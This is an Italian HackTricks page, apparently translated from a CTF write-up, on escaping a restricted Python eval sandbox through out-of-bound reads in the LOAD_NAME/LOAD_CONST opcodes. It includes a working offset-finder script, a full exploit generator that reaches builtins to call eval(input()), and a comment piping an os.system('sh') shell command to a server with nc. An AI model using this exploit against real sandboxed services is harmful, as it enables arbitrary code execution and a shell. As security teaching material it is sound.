9.8 KiB
LOAD_NAME / LOAD_CONST opcode OOB Read
{% hint style="success" %}
Impara e pratica l'hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)
Sostieni HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Questa informazione è stata presa da questo articolo.
TL;DR
Possiamo utilizzare la funzionalità di lettura OOB nell'opcode LOAD_NAME / LOAD_CONST per ottenere alcuni simboli in memoria. Ciò significa utilizzare trucchi come (a, b, c, ... centinaia di simboli ..., __getattribute__) if [] else [].__getattribute__(...)
per ottenere un simbolo (come ad esempio il nome di una funzione) desiderato.
Poi basta creare il proprio exploit.
Panoramica
Il codice sorgente è piuttosto breve, contiene solo 4 righe!
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
Puoi inserire del codice Python arbitrario e verrà compilato in un oggetto codice Python. Tuttavia, co_consts
e co_names
di quell'oggetto codice verranno sostituiti con una tupla vuota prima di valutare quell'oggetto codice.
Quindi, in questo modo, tutte le espressioni che contengono costanti (ad es. numeri, stringhe, ecc.) o nomi (ad es. variabili, funzioni) potrebbero causare un errore di segmentazione alla fine.
Lettura fuori limite
Come avviene il segmentation fault?
Iniziamo con un esempio semplice, [a, b, c]
potrebbe essere compilato nel bytecode seguente.
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
Ma cosa succede se co_names
diventa una tupla vuota? L'opcode LOAD_NAME 2
viene comunque eseguito e cerca di leggere il valore da quell'indirizzo di memoria inizialmente previsto. Sì, questa è una "caratteristica" di lettura out-of-bound.
Il concetto principale per la soluzione è semplice. Alcuni opcode in CPython come LOAD_NAME
e LOAD_CONST
sono vulnerabili (?) alla lettura OOB.
Recuperano un oggetto dall'indice oparg
dalla tupla consts
o names
(che è come sono chiamati sotto il cofano co_consts
e co_names
). Possiamo fare riferimento al breve snippet seguente su LOAD_CONST
per vedere cosa fa CPython quando elabora l'opcode LOAD_CONST
.
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
In questo modo possiamo utilizzare la funzionalità OOB per ottenere un "nome" da un offset di memoria arbitrario. Per assicurarci di quale nome si tratti e qual è il suo offset, basta provare LOAD_NAME 0
, LOAD_NAME 1
... LOAD_NAME 99
... E potresti trovare qualcosa intorno a oparg > 700. Puoi anche provare ad utilizzare gdb per dare un'occhiata alla struttura della memoria ovviamente, ma non penso che sarebbe più facile?
Generazione dell'Exploit
Una volta che abbiamo recuperato quegli utili offset per i nomi / costanti, come possiamo ottenere un nome / costante da quell'offset e utilizzarlo? Ecco un trucco per te:
Supponiamo di poter ottenere un nome __getattribute__
dall'offset 5 (LOAD_NAME 5
) con co_names=()
, allora basta fare le seguenti operazioni:
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
Notare che non è necessario chiamarlo
__getattribute__
, puoi chiamarlo con un nome più corto o strano
Puoi capire il motivo semplicemente visualizzando il bytecode:
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
Si noti che LOAD_ATTR
recupera anche il nome da co_names
. Python carica i nomi dalla stessa posizione se il nome è lo stesso, quindi il secondo __getattribute__
viene comunque caricato dalla posizione=5. Utilizzando questa caratteristica possiamo utilizzare un nome arbitrario una volta che il nome è in memoria nelle vicinanze.
Per generare numeri dovrebbe essere banale:
Script di exploit
Non ho utilizzato costanti a causa del limite di lunghezza.
Ecco prima uno script per trovare quelle posizioni dei nomi.
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
E il seguente è per generare l'effettivo exploit Python.
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Si limita fondamentalmente a fare le seguenti cose, per le stringhe che otteniamo dal metodo __dir__
:
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
{% hint style="success" %}
Impara e pratica l'hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)
Sostieni HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud nei repository di github.